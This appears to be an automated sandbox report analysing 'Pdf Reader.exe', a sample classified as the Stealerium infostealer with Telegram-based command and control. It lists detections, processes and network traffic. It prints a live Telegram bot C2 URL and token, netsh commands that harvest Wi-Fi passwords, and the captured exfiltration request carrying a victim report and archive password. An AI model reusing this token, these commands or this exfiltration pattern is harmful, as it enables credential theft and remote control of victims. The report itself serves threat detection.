Edit tour

Windows Analysis Report
Pdf Reader.exe

Overview

General Information

Sample name:	Pdf Reader.exe
Analysis ID:	1567243
MD5:	e91657014183219fd6d6535baae97b7c
SHA1:	c7b3cf4cd1f6f52ac52b427ad25509dc6c990289
SHA256:	0461541abae499104970d012841db7bb7bb02ea1d40d5c295a061b38e6fb7231
Tags:	exeuser-smica83
Infos:

Detection

Stealerium

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected AntiVM5

Yara detected Stealerium

Yara detected Telegram RAT

Yara detected Telegram Recon

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Drops password protected ZIP file

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Yara detected Costura Assembly Loader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Pdf Reader.exe (PID: 7392 cmdline: "C:\Users\user\Desktop\Pdf Reader.exe" MD5: E91657014183219FD6D6535BAAE97B7C)

cmd.exe (PID: 7564 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7616 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 7640 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

findstr.exe (PID: 7672 cmdline: findstr All MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 7796 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7844 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 7856 cmdline: netsh wlan show networks mode=bssid MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

msiexec.exe (PID: 7700 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

Pdf Reader.exe (PID: 4812 cmdline: "C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe" MD5: E91657014183219FD6D6535BAAE97B7C)

Pdf Reader.exe (PID: 7384 cmdline: "C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe" MD5: E91657014183219FD6D6535BAAE97B7C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealerium	According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actors addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.	No Attribution	https://github.com/Stealerium/Stealerium https://resources.securityscorecard.com/research/stealerium-detailed-analysis	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/sendMessage"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Pdf Reader.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
Pdf Reader.exe	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
Pdf Reader.exe	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Pdf Reader.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Pdf Reader.exe	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
Pdf Reader.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Pdf Reader.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x3869a8:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 2 entries

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH.zip	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x3869a8:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.2118787399.0000029F00090000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
0000000E.00000002.2044553453.000001D980077000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
0000000E.00000002.2044553453.000001D98008A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
0000000F.00000002.2118787399.0000029F00088000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
0000000F.00000002.2118787399.0000029F0001C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
0000000F.00000002.2118787399.0000029F00001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x3867a8:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x19b64:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: Pdf Reader.exe PID: 7392	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
Process Memory Space: Pdf Reader.exe PID: 7392	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Pdf Reader.exe PID: 7392	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Pdf Reader.exe PID: 7392	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
Process Memory Space: Pdf Reader.exe PID: 7392	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Pdf Reader.exe PID: 7392	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x6a51:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: Pdf Reader.exe PID: 4812	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Pdf Reader.exe PID: 4812	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
Process Memory Space: Pdf Reader.exe PID: 7384	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Pdf Reader.exe PID: 7384	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Pdf Reader.exe.16aef600000.0.unpack	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
0.0.Pdf Reader.exe.16aef600000.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.0.Pdf Reader.exe.16aef600000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.Pdf Reader.exe.16aef600000.0.unpack	JoeSecurity_AntiVM_5	Yara detected AntiVM_5	Joe Security
0.0.Pdf Reader.exe.16aef600000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.0.Pdf Reader.exe.16aef600000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x3869a8:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Pdf Reader.exe, ProcessId: 7392, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Pdf Reader

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Pdf Reader.exe", ParentImage: C:\Users\user\Desktop\Pdf Reader.exe, ParentProcessId: 7392, ParentProcessName: Pdf Reader.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 7564, ProcessName: cmd.exe

Suricata Signatures

ET MALWARE Possible Generic RAT over Telegram API

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T10:28:25.820507+0100	2029323	1	Malware Command and Control Activity Detected	192.168.2.4	49746	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T10:28:16.198204+0100	2803305	3	Unknown Traffic	192.168.2.4	49738	104.16.184.241	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: Pdf Reader.exe.7392.0.memstrmin

Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: Pdf Reader.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Pdf Reader.exe

Joe Sandbox ML: detected

Source: Pdf Reader.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.112.123.126:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49760 version: TLS 1.2

Source: Pdf Reader.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: +costura.newtonsoft.json.bson.pdb.compressed source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00001000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.newtonsoft.json.bson.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.wpf.ui.pdb.compressed\|\|\|Wpf.Ui.pdb\|299223DFCADFE8FD464F218CE110C10266AB22B0\|139288 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: .costura.icsharpcode.sharpziplib.pdb.compressed source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00001000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.newtonsoft.json.bson.pdb.compressed\|\|\|Newtonsoft.Json.Bson.pdb\|8D66819B2D5D4D2CFADB7660B1869A81C5DB7E9F\|26968 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed/icsharpcode.sharpziplib]costura.icsharpcode.sharpziplib.dll.compressed]costura.icsharpcode.sharpziplib.pdb.compressed;microsoft.bcl.asyncinterfacesicostura.microsoft.bcl.asyncinterfaces.dll.compressed5microsoft.bcl.timeproviderccostura.microsoft.bcl.timeprovider.dll.compressed)newtonsoft.json.bsonWcostura.newtonsoft.json.bson.dll.compressedWcostura.newtonsoft.json.bson.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: costura.polly.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr
Source:	Binary string: costura.costura.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.wpf.ui.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: !costura.polly.core.pdb.compressed source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00001000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.icsharpcode.sharpziplib.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: polly9costura.polly.dll.compressed9costura.polly.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: wpf.ui;costura.wpf.ui.dll.compressed;costura.wpf.ui.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.polly.pdb.compressed\|\|\|Polly.pdb\|6E4429D15FBCD96C44E391E109CB500EC2508333\|83400 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.polly.core.pdb.compressed\|\|\|Polly.Core.pdb\|C1D3F2BA348EA2F6635B8F5961AD127E831487C6\|66148 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.icsharpcode.sharpziplib.pdb.compressed\|\|\|ICSharpCode.SharpZipLib.pdb\|E1FCA83029D1440F54FB3747B240365A6DF0A598\|121652 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.polly.core.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: polly.coreCcostura.polly.core.dll.compressedCcostura.polly.core.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/getMe HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /servers HTTP/1.1Host: api.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /uploadfile HTTP/1.1Content-Type: multipart/form-data; boundary="4b2373d0-ec86-4e7c-a568-e962619f5055"Host: store4.gofile.ioContent-Length: 152048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/sendMessage?chat_id=-4224073938&text=%60%60%60%0A%F0%9F%98%B9%20%2AStealerium%20v3.6.3%20-%20Report%3A%2A%0ADate%3A%202024-12-03%204%3A28%3A04%20am%0ASystem%3A%20Microsoft%20Windows%2010%20Pro%20%2864%20Bit%29%0AUsername%3A%20user%0ACompName%3A%20562258%0ALanguage%3A%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus%3A%20Windows%20Defender%0A%0A%F0%9F%92%BB%20%2AHardware%3A%2A%0ACPU%3A%20Intel%28R%29%20Core%28TM%292%20CPU%206600%20%40%202.40%20GHz%0AGPU%3A%20CSS15%0ARAM%3A%204095MB%0APower%3A%20NoSystemBattery%20%28100%25%29%0AScreen%3A%201280x1024%0AWebcams%20count%3A%200%0A%0A%F0%9F%93%A1%20%2ANetwork%3A%2A%20%0AGateway%20IP%3A%20192.168.2.1%0AInternal%20IP%3A%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system%21%0AExternal%20IP%3A%208.46.123.228%0A%0A%F0%9F%92%B8%20%2ADomains%20info%3A%2A%0A%20%20%20-%20%F0%9F%8F%A6%20%2ABanking%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%92%B0%20%2ACryptocurrency%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%8D%93%20%2APorn%20websites%2A%20%28No%20data%29%0A%0A%F0%9F%8C%90%20%2ABrowsers%3A%2A%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History%3A%209%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks%3A%205%0A%0A%F0%9F%97%83%20%2ASoftware%3A%2A%0A%0A%F0%9F%A7%AD%20%2ADevice%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%F0%9F%A6%A0%20%2AInstallation%3A%2A%0A%20%20%20%E2%88%9F%20%E2%9C%85%20Startup%20installed%0A%20%20%20%E2%88%9F%20%E2%9C%85%20Clipper%20installed%0A%20%20%20%E2%88%9F%20%E2%9C%85%20Keylogger%20installed%0A%0A%F0%9F%93%84%20%2AFile%20Grabber%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images%3A%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents%3A%2045%0A%0A%F0%9F%94%97%20%5BArchive%20download%20link%5D%28https%3A%2F%2Fgofile.io%2Fd%2FRowtbR%29%0A%F0%9F%94%90%20Archive%20password%20is%3A%20%2254e993cd601b6d47a6e2abdb25bce1bf%22%60%60%60&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
